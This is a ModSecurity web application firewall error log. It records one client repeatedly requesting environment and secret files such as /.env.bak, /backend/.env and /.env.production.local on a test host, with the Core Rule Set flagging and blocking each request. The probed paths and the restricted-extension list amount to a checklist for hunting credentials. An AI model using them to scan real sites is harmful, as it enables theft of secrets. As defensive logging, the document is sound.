[Tue Dec 09 02:41:40.688029 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aTd-VN68QZ2WsgT79jeZEgAAAAE"]
[Tue Dec 09 02:41:40.688250 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aTd-VN68QZ2WsgT79jeZEgAAAAE"]
[Tue Dec 09 02:41:40.688436 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aTd-VN68QZ2WsgT79jeZEgAAAAE"]
[Tue Dec 09 02:41:43.400358 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /website/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "aTd-V968QZ2WsgT79jeZFgAAAAE"]
[Tue Dec 09 02:41:43.400594 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "aTd-V968QZ2WsgT79jeZFgAAAAE"]
[Tue Dec 09 02:41:43.400792 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "aTd-V968QZ2WsgT79jeZFgAAAAE"]
[Tue Dec 09 02:41:43.425233 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /development/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "aTd-V968QZ2WsgT79jeZFwAAAAE"]
[Tue Dec 09 02:41:43.425466 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "aTd-V968QZ2WsgT79jeZFwAAAAE"]
[Tue Dec 09 02:41:43.425672 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/development/.env"] [unique_id "aTd-V968QZ2WsgT79jeZFwAAAAE"]
[Tue Dec 09 02:41:43.574383 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aTd-V968QZ2WsgT79jeZGAAAAAE"]
[Tue Dec 09 02:41:43.574624 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aTd-V968QZ2WsgT79jeZGAAAAAE"]
[Tue Dec 09 02:41:43.574832 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "aTd-V968QZ2WsgT79jeZGAAAAAE"]
[Tue Dec 09 02:41:43.615476 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/shared/config/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "aTd-V968QZ2WsgT79jeZGQAAAAE"]
[Tue Dec 09 02:41:43.615765 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "aTd-V968QZ2WsgT79jeZGQAAAAE"]
[Tue Dec 09 02:41:43.616020 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/config/.env"] [unique_id "aTd-V968QZ2WsgT79jeZGQAAAAE"]
[Tue Dec 09 02:41:43.673934 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/shared/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "aTd-V968QZ2WsgT79jeZGgAAAAE"]
[Tue Dec 09 02:41:43.674180 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "aTd-V968QZ2WsgT79jeZGgAAAAE"]
[Tue Dec 09 02:41:43.674411 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/shared/.env"] [unique_id "aTd-V968QZ2WsgT79jeZGgAAAAE"]
[Tue Dec 09 02:41:43.757705 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node/.env_example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env_example"] [unique_id "aTd-V968QZ2WsgT79jeZHQAAAAE"]
[Tue Dec 09 02:41:43.757937 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env_example"] [unique_id "aTd-V968QZ2WsgT79jeZHQAAAAE"]
[Tue Dec 09 02:41:43.758119 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node/.env_example"] [unique_id "aTd-V968QZ2WsgT79jeZHQAAAAE"]
[Tue Dec 09 02:41:43.788505 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "aTd-V968QZ2WsgT79jeZHgAAAAE"]
[Tue Dec 09 02:41:43.788745 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "aTd-V968QZ2WsgT79jeZHgAAAAE"]
[Tue Dec 09 02:41:43.788937 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production.local"] [unique_id "aTd-V968QZ2WsgT79jeZHgAAAAE"]
[Tue Dec 09 02:41:43.824373 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aTd-V968QZ2WsgT79jeZHwAAAAE"]
[Tue Dec 09 02:41:43.824606 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aTd-V968QZ2WsgT79jeZHwAAAAE"]
[Tue Dec 09 02:41:43.824783 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aTd-V968QZ2WsgT79jeZHwAAAAE"]
[Tue Dec 09 02:41:43.865279 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aTd-V968QZ2WsgT79jeZIAAAAAE"]
[Tue Dec 09 02:41:43.865522 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aTd-V968QZ2WsgT79jeZIAAAAAE"]
[Tue Dec 09 02:41:43.865701 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "aTd-V968QZ2WsgT79jeZIAAAAAE"]
[Tue Dec 09 02:41:43.906091 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aTd-V968QZ2WsgT79jeZIQAAAAE"]
[Tue Dec 09 02:41:43.906324 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aTd-V968QZ2WsgT79jeZIQAAAAE"]
[Tue Dec 09 02:41:43.906532 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.stage"] [unique_id "aTd-V968QZ2WsgT79jeZIQAAAAE"]
[Tue Dec 09 02:41:43.993812 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aTd-V968QZ2WsgT79jeZIwAAAAE"]
[Tue Dec 09 02:41:43.993946 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aTd-V968QZ2WsgT79jeZIwAAAAE"]
[Tue Dec 09 02:41:43.994188 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aTd-V968QZ2WsgT79jeZIwAAAAE"]
[Tue Dec 09 02:41:43.994402 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.old"] [unique_id "aTd-V968QZ2WsgT79jeZIwAAAAE"]
[Tue Dec 09 02:41:44.033416 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env_sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "aTd-WN68QZ2WsgT79jeZJAAAAAE"]
[Tue Dec 09 02:41:44.033655 2025] [:error] [pid 614580] [client 45.148.10.247:37460] [client 45.148.10.247] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env_sample"] [unique_id "aTd-WN68QZ2WsgT79jeZJAAAAAE"]
